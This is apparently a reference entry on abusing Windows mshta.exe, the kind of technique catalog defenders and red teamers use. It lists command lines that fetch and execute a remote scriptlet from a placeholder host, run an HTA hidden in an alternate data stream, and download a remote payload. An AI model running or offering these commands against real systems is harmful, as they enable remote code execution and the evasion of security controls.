Used by Windows to execute html applications. (.hta)
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe file.hta
Executes VBScript supplied as a command line argument.
mshta.exe vbscript:Close(Execute("GetObject(""script:https://www.example.org/file.sct"")"))
Executes JavaScript supplied as a command line argument.
mshta.exe javascript:a=GetObject("script:https://www.example.org/file.sct").Exec();close();
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
mshta.exe "C:\Windows\Temp\file.ext:file.hta"
It will download a remote payload and place it in INetCache.
mshta.exe https://www.example.org/file.ext